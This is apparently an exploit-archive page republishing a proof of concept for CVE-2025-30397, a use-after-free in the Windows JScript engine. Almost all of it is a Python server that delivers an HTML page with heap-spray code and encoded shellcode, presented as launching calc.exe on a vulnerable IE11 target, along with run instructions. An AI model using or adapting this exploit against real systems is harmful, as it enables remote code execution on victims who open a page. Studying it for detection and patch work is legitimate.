Materialized exploit

CVE-2025-30397

HIGH KEV

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB remote windows

Source

Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)

By Mohammed Idrees Banyamer

How to test this exploit

Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.

python3 52315.py

Code py

#!/usr/bin/env python3
# Exploit Title: Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)
# Exploit Author: Mohammed Idrees Banyamer
# Instagram: @@banyamer_security
# GitHub: https://github.com/mbanyamer
# Date: 2025-05-31
# CVE: CVE-2025-30397
# Vendor: Microsoft
# Affected Versions: Windows Server 2025 (build 25398 and prior)
# Tested on: Windows Server 2025 + IE11 (x86)
# Type: Remote
# Platform: Windows
# Vulnerability Type: Use-After-Free (JScript Engine)
# Description: This PoC exploits a Use-After-Free vulnerability in jscript.dll to achieve code execution via heap spraying. The shellcode executes calc.exe as a demonstration of code execution.

# ============================
#  Usage Instructions:
#
# 1. Save this script as `exploit_server.py`.
# 2. Run it with Python 3:
#    $ python3 exploit_server.py
# 3. On the vulnerable target (Windows Server 2025 + IE11):
#    Open Internet Explorer and navigate to:
#    http://<attacker-ip>:8080/poc_cve_2025_30397.html
#
# If the target is vulnerable, calc.exe will be executed.
# ============================

import http.server
import socketserver

PORT = 8080

HTML_CONTENT = b"""<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>PoC - CVE-2025-30397</title>
  <script>
    var payload = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
    while (payload.length < 0x1000) payload += payload;
    var shell = unescape(
      "%u9090%u9090%uebfc%u5eeb%u31b8%u64c9%u8b8b%u3050%u8b0c%u8b70" +
      "%u3c4a%u780c%u4f0a%u4b8b%u1c70%u8b1c%u8b6c%u0c5c%u8b14%u285c" +
      "%uef01%u528b%u8b10%u3c0a%u758b%u1c28%u8b34%u5c6a%u0158%uc985" +
      "%u75c9%u8b58%u8b10%u3c20%u418b%u0348%u408b%u8b34%u1c4a%uc085" +
      "%u7401%u0343%u0c6a%u58eb%ue8d0%uff00%u6361%u6c63%u2e00%u6578" +
      "%u0065"
    );
    var final = payload + shell;
    var buffer = [];
    for (var i = 0; i < 1500; i++) buffer[i] = final.substring(0);
    var sprayTarget = document.createElement("iframe");
    sprayTarget.setAttribute("src", "about:blank");
    document.body.appendChild(sprayTarget);
    for (var i = 0; i < 200; i++) {
      try {
        sprayTarget.contentWindow.eval("var a = '" + final + "'");
      } catch (e) {}
    }
    for (var j = 0; j < 1000; j++) {
      var obj = document.createElement("div");
      obj.innerHTML = "EXPLOIT" + j;
      document.body.appendChild(obj);
    }
    var victim = document.createElement("object");
    victim.setAttribute("classid", "clsid:0002DF01-0000-0000-C000-000000000046");
    document.body.appendChild(victim);
    alert("PoC loaded. If vulnerable, calc.exe will launch.");
  </script>
</head>
<body>
  <h1 style="color:red;">Exploit PoC: CVE-2025-30397</h1>
  <h2>Author: Mohammed Idrees Banyamer</h2>
  <h3>Instagram: <a href="https://instagram.com/mbanyamer" target="_blank">@banyamer_security</a></h3>
  <h3>GitHub: <a href="https://github.com/mbanyamer" target="_blank">mbanyamer</a></h3>
  <p>This demonstration is for ethical testing only. Triggering the vulnerability on vulnerable Internet Explorer installations will lead to execution of calc.exe via shellcode.</p>
</body>
</html>
"""

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/' or self.path == '/poc_cve_2025_30397.html':
            self.send_response(200)
            self.send_header("Content-type", "text/html")
            self.send_header("Content-length", str(len(HTML_CONTENT)))
            self.send_header("X-Content-Type-Options", "nosniff")
            self.send_header("X-Frame-Options", "SAMEORIGIN")
            self.send_header("Content-Security-Policy", "default-src 'self'")
            self.send_header("Cache-Control", "no-cache, no-store, must-revalidate")
            self.send_header("Pragma", "no-cache")
            self.send_header("Expires", "0")
            self.end_headers()
            self.wfile.write(HTML_CONTENT)
        else:
            self.send_error(404, "File Not Found")

def run():
    print(f"Serving PoC on http://0.0.0.0:{PORT}/poc_cve_2025_30397.html")
    with socketserver.TCPServer(("", PORT), Handler) as httpd:
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("\nServer stopped.")

if __name__ == "__main__":
    run()